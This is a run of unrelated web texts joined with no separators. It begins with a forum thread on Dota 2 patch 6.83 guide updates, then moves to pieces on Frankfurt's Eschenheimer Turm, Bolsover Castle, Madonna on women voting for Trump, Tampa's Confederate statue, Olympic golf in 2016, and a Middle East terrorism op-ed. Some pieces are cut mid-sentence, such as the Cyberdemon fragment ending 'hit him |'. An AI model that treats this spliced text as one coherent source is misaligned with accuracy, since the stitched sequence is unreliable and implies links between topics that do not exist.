Torte de Lini Profile Joined September 2010 Germany 7680 Posts Last Edited: 2014-12-18 21:23:32 #2562 Patch 6.83 Applied Changes (description changes not indicated) These are initial changes, more will be made with further feedback and analysis (I'm still at work)
Earthshaker
Removed 1 Clarity
Chen
New Skill Build: E W E W E R E W W Q R Q Q Q (1. Holy Persuasion 2. Test of Faith 3. Penitence)
Drow Ranger
Added Manta Style to Core Items
Kunkka (Middle)
New Skill Build: W Q W E W R W E E E R Q Q Q (1. Tidebringer 2. Torrent 3. X Marks the Spot)
Kunkka (Lane)
New Skill Build: W Q W E W R W E E E R Q Q Q (1. Tidebringer 2. Torrent 3. X Marks the Spot)
Sniper (Middle)
New Skill Build: E W E Q E R E W W W R Q Q Q (1. Take Aim 2. Headshot 3. Shrapnel)
Techies
Removed 1 clarity
Phantom Lancer (Middle)
Added Eye of Skadi to Extension Items
Removed Abyssal Blade
Phantom Lancer (Lane)
Added Eye of Skadi to Extension Items
Removed Abyssal Blade
Ursa (Lane)
Added Vladmir's Offering to Core Items
Ursa (Jungle)
Added Vladmir's Offering to Core Items
Patch 6.83 Inquiries
Diffusal Core for Ursa? kept situational
Alchemist Lane build max Greevil's Greed? kept at 1 value point
Diffusal Blade for TA? Situational or Core? still debating as situational
Troll Warlord Diffusal Blade? still debating situational
Anyone to remove/add Medallion of Courage? unchanged
Change Legion Commaner (Jungle) to Lane? (pretty much confirmed) completed
Update Lone Druid to remove Mask of Madness? (pretty much confirmed) researching
Update Juggernaut? completed
Blademail still valid on Bloodseeker? unchanged Removed 1 ClarityNew Skill Build: E W E W E R E W W Q R Q Q Q (1. Holy Persuasion 2. Test of Faith 3. Penitence)Added Manta Style to Core ItemsNew Skill Build: W Q W E W R W E E E R Q Q Q (1. Tidebringer 2. Torrent 3. X Marks the Spot)New Skill Build: W Q W E W R W E E E R Q Q Q (1. Tidebringer 2. Torrent 3. X Marks the Spot)New Skill Build: E W E Q E R E W W W R Q Q Q (1. Take Aim 2. Headshot 3. Shrapnel)Removed 1 clarityAdded Eye of Skadi to Extension ItemsRemoved Abyssal BladeAdded Eye of Skadi to Extension ItemsRemoved Abyssal BladeAdded Vladmir's Offering to Core ItemsAdded Vladmir's Offering to Core ItemsDiffusal Core for Ursa?Alchemist Lane build max Greevil's Greed?Diffusal Blade for TA? Situational or Core?Troll Warlord Diffusal Blade?Anyone to remove/add Medallion of Courage?Change Legion Commaner (Jungle) to Lane? (pretty much confirmed)Update Lone Druid to remove Mask of Madness? (pretty much confirmed)Update Juggernaut?Blademail still valid on Bloodseeker? https://twitter.com/#!/TorteDeLini (@TorteDeLini)
Torte de Lini Profile Joined September 2010 Germany 7680 Posts #2564 Growth of Subscribers still manages to stay at 2 million growth since August 3rd.
Growth Rate Percentage marginally resumes its decline at 4.80%.
11.97% of last month's unique players [9,783,671] are subscribed to the Lifestealer (Jungle) Guide
Top 19 guides are approx. 600k subscribers or higher each (up to 1 million in a guide)
Top 39 guides are approx. 500k subscribers or higher each
Top 68 guides are approx. 400k subscribers or higher each
Top 92 guides are approx. 300k subscribers or higher each
Top 113 guides are approx. 200k subscribers or higher each
Top 119 guides are approx. 100k subscribers or higher each https://twitter.com/#!/TorteDeLini (@TorteDeLini)
Sn0_Man Profile Joined October 2012 Tebellong 31252 Posts Last Edited: 2014-12-16 17:34:10 #2565 with respect to 6.83 changes:
In terms of starting items, most of the item changes primarily affect support buys since you have 30 more gold and salves are very slightly cheaper. Support buys are generally too game-dependant and complex to properly spell out but in a pub where ur solo support and in the trench courier/ward is now 270 so that leaves another 380 to buy ur own shit. after a set of tangos ur at 255. you can i guess justify a salve at 110 now but then ur at 145 which is really fucking awful. actually icefrog's just dumb.
Diffusal didn't improve on most heroes its just that u can now buy it without fucking urself over on certain heroes who need a deso or lifesteal or w/e. Its not core on ursa or TA or whatever else u were thinking.
Greed isn't a skill ur maxing early even as safe lane alch, interestingly enough. If you get 3 creeps out of every 4 in lane you actually get virtually nothing from greed level 3 or 4. Icefrog heavily buffed the "value point" in greed without seriously unbalancing the higher levels of it. But I will say that the second point in greed is also very good. The issue is that a safelane farming alch needs to put points into stun in order to exert any kind of map pressure. Once ur maxing stun, the first point in spray is unbelievable value for the -armor. That means u've spent 5 of ur first 7 points on q/w and then there's ult which is a no brainer which leaves limited space for greed points. However, there is an argument to be made that you can delay one point of acid or stun until after you get an initiation item (usually shadowblade if ur safelane) which probably allows u to go 2 in greed for max value in lane. The speed at which you can get a safelane shadowblade with greed though is so disgusting that it might still be right to skill something like e/w/q/w/w/r/w. If you opt to go pure farm build then it's easier since u just go e/q/e/q/e/r/e/q/q/w/r but then ur literally 0 threat to the enemy team until ur level 11 basically. U do farm like a mofo though.
Jugg probably doesn't change much. Crit is now a sick value point but u still can't get it in lane cuz it fucks up ur lasthits. Bloodcyka can still buy blademail but its a lot less of a no brainer. Moderator SCIENTISTS BAFFLED | 3275929302
Torte de Lini Profile Joined September 2010 Germany 7680 Posts #2566 On December 17 2014 02:33 Sn0_Man wrote:
with respect to 6.83 changes:
In terms of starting items, most of the item changes primarily affect support buys since you have 30 more gold and salves are very slightly cheaper. Support buys are generally too game-dependant and complex to properly spell out but in a pub where ur solo support and in the trench courier/ward is now 270 so that leaves another 380 to buy ur own shit. after a set of tangos ur at 255. you can i guess justify a salve at 110 now but then ur at 145 which is really fucking awful. actually icefrog's just dumb.
Diffusal didn't improve on most heroes its just that u can now buy it without fucking urself over on certain heroes who need a deso or lifesteal or w/e. Its not core on ursa or TA or whatever else u were thinking.
Greed isn't a skill ur maxing early even as safe lane alch, interestingly enough. If you get 3 creeps out of every 4 in lane you actually get virtually nothing from greed level 3 or 4. Icefrog heavily buffed the "value point" in greed without seriously unbalancing the higher levels of it. But I will say that the second point in greed is also very good. The issue is that a safelane farming alch needs to put points into stun in order to exert any kind of map pressure. Once ur maxing stun, the first point in spray is unbelievable value for the -armor. That means u've spent 5 of ur first 7 points on q/w and then there's ult which is a no brainer which leaves limited space for greed points. However, there is an argument to be made that you can delay one point of acid or stun until after you get an initiation item (usually shadowblade if ur safelane) which probably allows u to go 2 in greed for max value in lane. The speed at which you can get a safelane shadowblade with greed though is so disgusting that it might still be right to skill something like e/w/q/w/w/r/w. If you opt to go pure farm build then it's easier since u just go e/q/e/q/e/r/e/q/q/w/r but then ur literally 0 threat to the enemy team until ur level 11 basically. U do farm like a mofo though.
Jugg probably doesn't change much. Crit is now a sick value point but u still can't get it in lane cuz it fucks up ur lasthits. Bloodcyka can still buy blademail but its a lot less of a no brainer.
wow you made job so much easier. Now I dont have to preoccupy myself with this for a full 12 hour streak (9 to 9)
wow you made job so much easier. Now I dont have to preoccupy myself with this for a full 12 hour streak (9 to 9) https://twitter.com/#!/TorteDeLini (@TorteDeLini)
Sn0_Man Profile Joined October 2012 Tebellong 31252 Posts Last Edited: 2014-12-16 18:31:15 #2567 Well thats just the tip of the iceberg.
I dunno what ur sniper guide sez for example but shrapnel's back to "1 point then stats" status etc.
disruptor mega changes btw Moderator SCIENTISTS BAFFLED | 3275929302
Torte de Lini Profile Joined September 2010 Germany 7680 Posts Last Edited: 2014-12-16 18:33:40 #2568 On December 17 2014 03:29 Sn0_Man wrote:
Well thats just the tip of the iceberg.
I dunno what ur sniper guide sez for example but shrapnel's back to "1 point then stats" status etc.
disruptor mega changes btw
I don't see any changes with Disruptor. You still want to max Glimpse for the full range.
For mid, I put 1 in Shrapnel, max aim then headshot.
Lane version has no shrapnel I don't see any changes with Disruptor. You still want to max Glimpse for the full range.For mid, I put 1 in Shrapnel, max aim then headshot.Lane version has no shrapnel https://twitter.com/#!/TorteDeLini (@TorteDeLini)
Buckyman Profile Joined May 2014 1361 Posts Last Edited: 2014-12-16 18:52:46 #2569 Diffusal Blade's change is relevant for Drow Ranger. It's probably Situational. Needs testing.
I think this will fork my Drow build into S&Y, Diffusal for kiting vs. Shadow Blade, Manta for gank-into-splitpush play.
Torte de Lini Profile Joined September 2010 Germany 7680 Posts #2570 On December 17 2014 03:41 Buckyman wrote:
Diffusal Blade's change is relevant for Drow Ranger. It's probably Situational. Needs testing.
I feel it's redundant and she doesn't exactly need more damage (right?) I feel it's redundant and she doesn't exactly need more damage (right?) https://twitter.com/#!/TorteDeLini (@TorteDeLini)
tehh4ck3r Profile Joined August 2013 Magrathea 5720 Posts #2571 I think diffusal is probably too situational on drow to bother putting it in. Plus AFAIK ranged illusions still don't get the mana burn anyway so Diffusal + Manta isn't super useful. Administrator In those days, spirits were brave, the stakes were high, men were real men, women were real women, and small furry creatures from Alpha Centauri were real small furry creatures from Alpha Centauri.
Sn0_Man Profile Joined October 2012 Tebellong 31252 Posts Last Edited: 2014-12-16 20:09:08 #2572 Well manta's actually useable on drow now right. Diffusal's useless u don't need the mana burn and you don't need the slow and u can buy manta now to self-purge so ur gucci. Yes its a nice agi item in theory but in practice manta/SnY and butterfly are better.
And disruptor you prolly still need 2 in glimpse but there's no way ur maxing it first. Its actually so fucking awful having to put all those points in a skill that doesn't slow, stun or do damage. Now u don't have to. Obviously u max it 2nd cuz the range owns but now u can get ur nuke earlier which owns.
There's gotta be more heroes that change i'll reread the patch notes if u want Moderator SCIENTISTS BAFFLED | 3275929302
Torte de Lini Profile Joined September 2010 Germany 7680 Posts #2573 On December 17 2014 05:07 Sn0_Man wrote:
Well manta's actually useable on drow now right. Diffusal's useless u don't need the mana burn and you don't need the slow and u can buy manta now to self-purge so ur gucci. Yes its a nice agi item in theory but in practice manta/SnY and butterfly are better.
And disruptor you prolly still need 2 in glimpse but there's no way ur maxing it first. Its actually so fucking awful having to put all those points in a skill that doesn't slow, stun or do damage. Now u don't have to. Obviously u max it 2nd cuz the range owns but now u can get ur nuke earlier which owns.
There's gotta be more heroes that change i'll reread the patch notes if u want
There are probably more changes, though some of it is stuff I need to change from before the patch anyways.
Why not max glimpse? There are probably more changes, though some of it is stuff I need to change from before the patch anyways.Why not max glimpse? https://twitter.com/#!/TorteDeLini (@TorteDeLini)
Buckyman Profile Joined May 2014 1361 Posts #2574 Speaking of Drow, how do you feel about a Circlet start, over Slippers? You can get Slippers at the side shop; you're trading -1 damage against the first creep wave for +2 damage while the courier brings your Wraith Band recipe.
TheYango Profile Joined September 2008 United States 10884 Posts Last Edited: 2014-12-16 20:39:20 #2575 Diffusal's situational on every pretty much Agi carry now since you can get it to counter Ghost Scepter without fucking up your lategame orb selection.
However, since you already don't list Ghost Scepter as situational for literally every support (which it is), by the same logic, you're not going to be listing Diffusal on everyone because of this. Therefore, your list of Diffusal users doesn't really change due to this change, because nobody who wasn't getting it before will make it a core item, and everyone else is just getting it to counter Ghost Scepter/purgeable buffs/summoned units. Moderator
Sn0_Man Profile Joined October 2012 Tebellong 31252 Posts Last Edited: 2014-12-16 20:40:04 #2576 I believe what i said was "its actually so fucking awful having to put all those points in a skill that doesn't slow, stun or do damage".
Like with old disruptor skilling 1-3-1 at 5, you actually usually couldn't solo-gank for ur lanes. You needed both supports to be there because while disruptor was great for putting the enemy out of position, he didn't have the lock-down or damage needed to actually kill people (obviously dependant on other things too but still). Now that you can be like 4-2-1-1 at 8 you are a big damage threat (400 dmg nuke) while also being able to catch people out at huge range (1000 is a lot, enough to gank from smoke quite consistently even if break radius is technically 1025)
Hell you may even be able to justify leaving it at level 1 if you can reliably get in 600 range. Which isn't that hard, its the same as ogres old stun for example. Game dependant etc. Moderator SCIENTISTS BAFFLED | 3275929302
Torte de Lini Profile Joined September 2010 Germany 7680 Posts #2577 On December 17 2014 05:35 TheYango wrote:
Diffusal's situational on every pretty much Agi carry now since you can get it to counter Ghost Scepter without fucking up your lategame orb selection.
However, since you already don't list Ghost Scepter as situational for literally every support, by the same logic, you're not going to be listing Diffusal on everyone because of this. Therefore, your list of Diffusal users doesn't really change due to this change, because nobody who wasn't getting it before will make it a core item, and everyone else is just getting it to counter Ghost Scepter/purgeable buffs/summoned units.
I still think it is good for heroes like Ursa and it now doesn't impede on his lifesteal I still think it is good for heroes like Ursa and it now doesn't impede on his lifesteal https://twitter.com/#!/TorteDeLini (@TorteDeLini)
Torte de Lini Profile Joined September 2010 Germany 7680 Posts #2578
Kunkka (Middle)
New Skill Build: Q W E E E R E Q Q Q R W W W (1. X Marks the Spot 2. Torrent 3. Tidebringer)
TO BE VERIFIED AND TESTED
Queen of Pain
New Skill Build: Q W E E E R E Q Q Q R W W W (1. Scream of Pain 2. Shadow Strike 3. Blink)
TO BE VERIFIED AND TESTED
Sniper (Middle)
New Skill Build: E W E Q E R E W W Q R Q Q (1. Take Aim 2. Headshot 3. Shrapnel) also, what do you guys think of X marks the spot? basically I'm unsure aboutNew Skill Build: Q W E E E R E Q Q Q R W W W (1. X Marks the Spot 2. Torrent 3. Tidebringer)New Skill Build: Q W E E E R E Q Q Q R W W W (1. Scream of Pain 2. Shadow Strike 3. Blink)New Skill Build: E W E Q E R E W W Q R Q Q (1. Take Aim 2. Headshot 3. Shrapnel) https://twitter.com/#!/TorteDeLini (@TorteDeLini)
Sn0_Man Profile Joined October 2012 Tebellong 31252 Posts Last Edited: 2014-12-16 20:48:08 #2579 On December 17 2014 05:38 Torte de Lini wrote:
Show nested quote +
On December 17 2014 05:35 TheYango wrote:
Diffusal's situational on every pretty much Agi carry now since you can get it to counter Ghost Scepter without fucking up your lategame orb selection.
However, since you already don't list Ghost Scepter as situational for literally every support, by the same logic, you're not going to be listing Diffusal on everyone because of this. Therefore, your list of Diffusal users doesn't really change due to this change, because nobody who wasn't getting it before will make it a core item, and everyone else is just getting it to counter Ghost Scepter/purgeable buffs/summoned units.
I still think it is good for heroes like Ursa and it now doesn't impede on his lifesteal I still think it is good for heroes like Ursa and it now doesn't impede on his lifesteal
well ursa's best lifesteal was vlads a decent portion of the time and those still worked together.
Really ursa doesn't need agi at all ever since he gets as much damage from strength due to his ult and the attackspeed is irrelevant when he's at cap. The purge sucks compared to just blink + clap since purge has worn off by the time u can run up to most heroes. Basically diffu is the same as it always was: there to purge off ghost sceptres and other jazz. Which isn't different, its just that more heroes can now situationally buy it. Its never worth mentioning in a guide imo.
Also u can't possibly leave x at level 1 its like 325 range now or some shit thats unuseable
And no u can't max q on qop the whole reason u max blink is the CD not the range. The range is just a nice buff.
I dunno what ur current Earthshaker build is but there's like no way u can't justify a point in enchant totem super early now at just 20 mana that skills nuts. Even as like position 6 support totem is still legit in lane at level 2 as a free extra auto. well ursa's best lifesteal was vlads a decent portion of the time and those still worked together.Really ursa doesn't need agi at all ever since he gets as much damage from strength due to his ult and the attackspeed is irrelevant when he's at cap. The purge sucks compared to just blink + clap since purge has worn off by the time u can run up to most heroes. Basically diffu is the same as it always was: there to purge off ghost sceptres and other jazz. Which isn't different, its just that more heroes can now situationally buy it. Its never worth mentioning in a guide imo.Also u can't possibly leave x at level 1 its like 325 range now or some shit thats unuseableAnd no u can't max q on qop the whole reason u max blink is the CD not the range. The range is just a nice buff.I dunno what ur current Earthshaker build is but there's like no way u can't justify a point in enchant totem super early now at just 20 mana that skills nuts. Even as like position 6 support totem is still legit in lane at level 2 as a free extra auto. Moderator SCIENTISTS BAFFLED | 3275929302
TheYango Profile Joined September 2008 United States 10884 Posts #2580 I feel like all Icefrog did was make X slightly worse at ranks 2 and 3. Rank 1 still blows, and rank 2 and 3 still do what they did before cuz they're limited by range, while still just having shorter range than they did before.
Also, he fucked over anyone who just left X on 2 or 3 and never learned to combo with rank 4 X lol. Moderator
Prev 1 127 128 129 130 131 371 NextStanding right in the middle of downtown Frankfurt, surrounded by modern high-rises, is an early 15th century tower called Eschenheimer Turm. The tower was once part of a massive fortification that consisted of nearly sixty towers and walls that encircled the city. Most were demolished between 1806 and 1812 when the old city walls were torn down. Eschenheimer Turm, along with two other towers, were saved from demolition at the request of French ambassador Count d'Hédouville. Today the tower is one of Frankfurt's most famous landmarks.
The Roman Emperor Louis IV began constructing the city walls in order to protect the “new town”, Frankfurter Neustadt, from the diverse dangers that threatened the city at that time. Fortification of Neustadt began during the middle of the 14th century and took over one hundred years to complete. The cornerstone for the original gate tower was laid on 11 October 1349. This was replaced by the Eschenheimer Turm built between 1426 and 1428.
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The Eschenheimer Turm is 47 meters high and has eight levels and two attics. Starting from a square base, the round tower rises and culminates in a steep spire appointed with four, small, equally proportioned side turrets and a projecting battlement. Inside the tower are living quarters for the tower guard, which remained inhabited until 1956.
The tower, still largely intact in its original configuration, is now set in a very urban environment — a large, busy plaza, called Eschenheimer Tor. The ground floor has been repurposed as a bar and restaurant. The fireplace room of the tower guard is used by the hospitality operations. Quarterly meetings of the association Freunde Frankfurts (the Friends of Frankfurt) continue to be held in the fireplace room, as is reported in the history of the tower.
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The interior of the restaurant inside Eschenheimer Turm. Photo credit
The interior of the restaurant inside Eschenheimer Turm. Photo credit
Sources: WikipediaKilling a Cyberdemon in Two Shots
As the previous section shows, in order to deal enough damage to kill a Cyberdemon in two shots you're going to need to hit him |
season. Bolsover is unusual in the Derbyshire properties in that it is open all the year round, although it is closed on Tuesday and Wednesday between the end of August and the beginning of May and has shorter opening hours in the darker months. It is a site that can be enjoyed in just a few hours, or provide a day's outing if taken at a more leisurely pace. It may be combined perhaps with a visit to nearby Hardwick Hall, the ambitious creation of William's grandmother, the oft-married Bess of Hardwick, from whom he seems to have inherited his love of architecture. Further afield, the castle at Nottingham was William's last great building project. Unfortunately, he did not survive to see it completed, although he did live into his 80s, a significant age for a man in the 17th century. He was buried in Westminster Abbey, alongside his second wife, Margaret, where he is immortalised as 'the Loyall Duke'. More Information:
We regret that we no longer have the resources to maintain up-to-date links and/or hours and pricing details for the various sites and attractions listed on this website. For more information about the location(s) listed above, please use your favorite search engine or visit Wikipedia. Dr. Elaine Walker is a freelance writer based in North Wales. She writes fiction, poetry and nonfiction and lectures in Creative Writing and English for the University of Wales. Her first full-length book, Horse, is forthcoming from Reaktion Books in Autumn 2008. Article and photos © 2005 Elaine WalkerIt’s been nearly a month since the 2016 election finally came to a close, and many are still grappling with the fact that Donald Trump will be the next President of the United States. Madonna, in particular, has had a difficult time accepting the news. In an interview with Billboard published on Monday, she said the announcement was so rattling that, “It felt like someone had died,” and that she was especially baffled by the high percentage of women that supported him. But, whether you agree with her or not, why Madonna thinks so many women voted for Trump highlights an important underlying issue we need to overcome to move forward.
How many women — particularly white women — voted for The Donald was one of the more surprising stats to come out of this year’s election. Not because all women should vote for a candidate simply because she’s female, but because Trump made multiple controversial comments toward women throughout his campaign. By the time Nov. 8 rolled around, several women had come forward with sexual assault claims against him, all of which the president-elect has thoroughly denied in multiple statements. There have been many a think piece as to why so many women chose to overlook those factors, but Madonna tied it to a broader problem.
As she told Billboard,
Women hate women. That’s what I think it is. Women’s nature is not to support other women. It’s really sad. Men protect each other, and women protect their men and children. Women turn inward and men are more external. A lot of it has do with jealousy and some sort of tribal inability to accept that one of their kind could lead a nation. Other people just didn’t bother to vote because they didn’t like either candidate, or they didn’t think Trump had a chance in the world. They took their hands off the wheel and then the car crashed.
That may be a leap of a connection, but the numbers signal something worth discussing. According to CBS News’ exit poll, 42 percent of all women and 53 percent of white women voted for Trump. When you consider white Protestant women, that figure jumps to 64 percent for Trump and just 32 percent for Clinton — by and large the majority. Still, there are a host of reasons why women may have voted for Trump: maybe they wanted a Republican back in office after an eight-year Democratic reign, or perhaps they thought this was their only, if painful, chance to disband the big money that's long ruled politics. Regardless of the rationale that can't be generalized, the fact is that it happened, and we have to press forward. It's a hard pill to swallow, but criticizing our female peers is sort of the antithesis to Madonna’s point.
What we can do instead is try harder to understand each other, and to come together around the issues that demand a woman’s voice. If we take anything away from this election, it should be that there are bridges to be built, and pitting ourselves against one another will only widen those gaps. Whether or not Madonna's correlation is fair, we know one thing to be true: we're stronger together, and no man is going to shake that.TAMPA, Fla. – Tampa Mayor Bob Buckhorn has pledged $1,000 to the funds needed to move the Confederate monument in downtown Tampa.
Buckhorn posted a picture of a check written to the Hillsborough County Board of County Commissioners to his Facebook page on Thursday morning.
The mayor’s post reads:
Not a City statue, but I have a moral obligation to do my part. Now take it down.
You can donate to the Tampa Statue Relocation Fund here:https://www.gofundme.com/hillsboroughcountystatue
There is GoFundMe account to raise the estimated $140,000 necessary to relocate the 106-year-old Memoria en Aeterna statue. The account has raised $52,145 as of Friday morning.
Celebrities and private citizens have since raised the $140,000 necessary to relocate the monument.
On Wednesday, the Hillsborough County Commission voted 4-2 to give opponents 30 days to raise the funds needed to move the Confederate statue.
Earlier: Hillsborough County Commission: Pay to move confederate statue in 30 days, or it stays
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President Donald Trump tweeted Thursday morning about the removal of Confederate monuments nationwide.
Sad to see the history and culture of our great country being ripped apart with the removal of our beautiful statues and monuments. You..... — Donald J. Trump (@realDonaldTrump) August 17, 2017
...can't change history, but you can learn from it. Robert E Lee, Stonewall Jackson - who's next, Washington, Jefferson? So foolish! Also... — Donald J. Trump (@realDonaldTrump) August 17, 2017
...the beauty that is being taken out of our cities, towns and parks will be greatly missed and never able to be comparably replaced! — Donald J. Trump (@realDonaldTrump) August 17, 2017
Tampa lawyer Tom Scarritt offered to raise the money needed to remove the monument in July, according to our partners at the Tampa Bay Times.
In June, Buckhorn expressed his disapproval of the Hillsborough County Commission’s initial decision to keep the Confederate monument outside of the county courthouse.Buckhorn expressed his disapproval of the Hillsborough County Commission’s initial decision to keep the Confederate monument outside of the county courthouse.
“There is no honor in treason and there is no valor in enslaving people because of their race,” Buckhorn wrote on his Facebook page. “That statue represents the worst of humanity not the Tampa that we aspire to be.
“This decision doesn’t speak for our city and the people that I represent.”
Related: Mayor Buckhorn on Confederate monument: 'That statue represents the worst of humanity'
Commissioners set a Sept. 16 deadline to raise the money needed to move the Memoria en Aeterna statue from current position outside the old county courthouse to the Brandon family cemetery.
More: Buckhorn not running for Florida governor
Mark Bergin is a digital journalist with 10News WTSP. Like him on Facebook and follow him on Twitter and Instagram. You can also email him at mbergin@wtsp.com.British Open champion Henrik Stenson is close enough to think about adding an Olympic gold medal to his silver claret jug.
It just required a long and wild route to get himself into contention on Friday.
Marcus Fraser of Australia got off to a quick start, stretched his lead to four shots at one point and wound up with a 2-under 69 for the 36-hole lead in the first Olympic golf competition since 1904. He had a one-shot lead over Thomas Pieters of Belgium, a former NCAA champion who closed with three straight birdies.
Still, it was the sight of Stenson on the leaderboard that was so hard to ignore.
Only a month ago, the 40-year-old Swede won his first major and got his name on the claret jug at Royal Troon with the lowest score in major championship history. On Friday, he had a 68 to go into the weekend at Olympic Golf Course just two shots behind and in the final group.
But this was hardly a masterpiece.
In the wind and a hard rain, Stenson had to hit 4-wood to reach the green on the second hole and made a 60-foot birdie putt. He hit into the water on the next hole and still had a full 4-wood just to reach the front part of the green. Stenson made a par putt from 108 feet.
"You're just standing there, praying for a two-putt bogey. Before I know it, it found the bottom of the cup," Stenson said. "That's the longest putt I've made in my career. First of all, it's hard to get a putt that long on any green in the world."
He followed by duffing a tee shot and making bogey, and it was a relief to play what he called ordinary golf until another wild finish.
Stenson had a three-putt bogey, followed by two birdies, and then a tee shot he missed so badly that it came up 30 yards short and into a bunker for a bogey on the par-3 17th. He finished his round with a delicate pitch from a drop area, but only after his caddie had to ask Brazilian fans in the bleachers around the 18th green to move 20 feet because their shadows were dancing around his golf ball.
"Three under is not a bad score out there, especially not with that first five or six holes in those conditions," Stenson said. "All in all, happy with that. I didn't play as solid as I did yesterday, but we're still in the race and still in good position halfway through the tournament."
None of these players grew up dreaming about an Olympic medal because golf hasn't been part of the games in 112 years. For someone like Stenson, the highest-ranked player in the 60-man field, consider this getting through the preliminary heats in a traditional Olympic sport.
Then again, not even he knows what to expect out of his game. No other Olympic sport has so many contenders.
"It's not like some of the other sports where if you jump a certain distance or swim at a certain time, you can pretty much figure out who is going to win and finish second and third," Stenson said earlier this week. "Ours is a bit more down to the form for the week and on any given day."
At the halfway point, Olympic golf was starting to take shape.
Fraser was at 10-under 132 — another day, another Olympic record. Of course, considering how long the sport has been absent, new marks get set every day. The Australian caught only a little of the nasty weather, and it didn't last long before the sun came out. Fraser built a four-shot lead until dropping two shots, including the reachable par-4 16th when it took two chips to reach the green.
Playing with Stenson on Saturday could be intimidating, through Fraser saw it a different way.
"Any time you play with Stenson on the weekend, you know you're doing something right."
Pieters made up a lot of ground in a hurry by driving just through the green on the 16th for a two-putt birdie from 75 feet, holing a 15-foot birdie on the 17th and then two-putting from just off the green on the par-5 18th.
Justin Rose of Britain and Gregory Bourdy of France each shot 69 and were four shots behind.
Alastair Grant / AP Bubba Watson, of the United States, tips his visor on the 18th hole during the second round of the men's golf event at the 2016 Summer Olympics in Rio de Janeiro, Brazil, Friday, Aug. 12, 2016 Bubba Watson, of the United States, tips his visor on the 18th hole during the second round of the men's golf event at the 2016 Summer Olympics in Rio de Janeiro, Brazil, Friday, Aug. 12, 2016 (Alastair Grant / AP) (Alastair Grant / AP)
The Americans, the only country with four players, were still lingering. Matt Kuchar had a 70 and was seven shots behind, following by Bubba Watson (67) at 2-under 140 and Patrick Reed (69) nine shots back.
Rickie Fowler was still near the bottom. Even with actor Matthew McConaughey following along, Fowler made three bogeys on the back nine and had to settle for a 71, leaving him 14 shots out of the lead. Barring a low round Saturday, he likely will leave Rio with plenty of selfies, just no medals.
Associated PressThe clearest lesson of the 9/11 attacks was that global security cannot be disentangled from security everywhere across the globe. Inattention to the ungoverned areas of Afghanistan after the 1989 Soviet withdrawal allowed the Taliban and al-Qaeda to rise, and later their myriad offspring such as Da'esh (also: ISIL, ISIS, IS), al Shabab, Boko Haram, Ansar Beit al-Maqdis, etc.
The alchemy of anarchy
The Middle East, beyond its vast energy resources, which are so tempting to voracious global appetites, is a region of resplendent ethnic variety and cultural riches, with a multi-millennial history and myriad archeological treasures. It should be one of the most prosperous and stable areas on the planet. But in a terrible kind of reverse alchemy, it turns its gold into lead, in the form of perpetual instability, inequality and sectarian divisions. Primitive ideas become nihilistic ideologies -- truly "weapons of mass destruction." Citizens are suffocating, economically and politically, minorities are persecuted, populations displaced in biblical dimensions, military budgets devour resources, and civil rights are thwarted.
States directly or indirectly associated with various militia or state-like groups compete where they could instead collaborate. Authoritarian, failed and weak regimes consume security instead of producing it, while some export terrorism instead of fighting it. Global competitors continue their zero-sum geopolitical calculations, while international organizations such as the UN are marginalized. As the needs of the people are ignored and abandoned, stability and security fade.
Multiple wars and divisions
There are four official hot wars being waged -- in Syria, Iraq, Libya and Yemen -- with no solution in sight. These wars are the outcome of broader competition and division:
1. The competition between Iran and its regional adversaries, which some analysts would ascribe to Sunni-Shia sectarianism; and
2. A new division within Sunni Islam itself, pitting Muslim Brotherhood oriented regimes such as Turkey and Qatar against Saudi Arabia and its allied sheikdoms.
The warm hopes of the Arab Spring died in a cold blast of petrodollars, military coups and the restoration of old-guard regimes. As civil wars intensified, beheading machines such as Da'esh emerged. Meanwhile, the Palestinian tragedy continues unabated, with Prime Minister Netanyahu's policies closing off the search for a balanced solution.
Numbers tell the story: Arab countries constitute about 5% of the Earth's population, but produce something approaching half the world's refugees. Although the precise number of victims of repressive regimes and terrorist groups is hard to determine, the use of chemical weapons in the region is confirmed, as are the widely practiced enslavement and trading of women and children, as well as punishments like stoning, crucifixion and beheading. Regional politics are dominated, if not monopolized, by petro-aristocrats, military oriented elites and "reformers" who use the vote as a mandate to force a return to past epochs.
Myth and miscalculation
The ideological and financial wellspring for the terrorist groups is the myth of the Caliphate. The Caliphate mythos is deeply linked to the soul of certain societies and subcultures, rendering them incapable of understanding the modern concept of the State based on inclusiveness and the rule of law. The havoc that held to a relatively limited geographical context is nowadays global in scale and scope, menacing security and civilization everywhere.
Despite this clear threat, and in the face of all logic, several governments persist in acting from a dangerously narrow, zero-sum economic mindset by selling sophisticated weaponry to regimes that in some degree support extremism. Some even seem to regard terrorists as a geopolitical tool, much as the US saw Afghan resistance to the Soviet occupation as a useful anti-Communist force -- a misplacement of support that helped give birth to al-Qaeda. More recently, those eager to end the Syrian regime put their faith and funds with the opposition, a misplacement of resources that helped give birth to Da'esh.
Iran is uniquely placed
Although considered multi-centered and pre-democratic, Iran, by its geography, history and a solid civil society, has since antic times a predilection for stability and security. With its crucial geostrategic position, energy-rich Iran has links to both East and West, but historically and culturally it peers westward. The current negotiations among five members of the UN Security Council plus Germany (the 5+1) and Iran provide an important opportunity to boost stability throughout the region. Agreement on the nuclear issue has the potential to become a milestone on the road to regional security, and would encourage Iran to open itself to the world further. Allowing Iran to reach global markets by lifting the sanctions would improve its economic situation, boosting Iran's moderate faction and inevitably tempering its residual revolutionary ardor. If the 5+1 can draw Iran back to its historical affinity for stability and security, it will open the way to resolve several regional issues, including the tragic mess in Syria. Most importantly, it would help stem the devastating expansion of terrorism, which thrives on instability.
The bottom line
The cancer of terrorism is the symptom of society's unresolved problems, festering in the swamps of economic inequality, authoritarianism, suppression of civil rights and retrograde creeds. It is not difficult to locate the ideological swamps where extremism breeds, nor the financial sources that feed help the monster thrive. As long as the swamps are not drained and zero sum geopolitical ardor is not tempered with selective collaboration, the monster will continue to grow, metastasizing across borders like an epidemic.
Draining the swamps will not be easy. It is necessary to drain the no-rights swamps, the extremist mythology swamps. Recognizing current borders and promoting policies of relative inclusiveness through international institutions such as the UN would be a first step towards a modern state, a first assault on the jihadi terrorism that promises to plunge the world into a new dark age.
A few prescriptions
1. Work more intensely towards a Comprehensive Nuclear Agreement and nurture Iran's historical predisposition for security by helping it to re-enter the global economy. To reach this milestone of stability in the Middle East will take political will, especially in Washington and Tehran. It will also require persuasive US diplomacy with the Saudi-led GCC to defuse tensions in the area, perhaps by following the example of Oman.
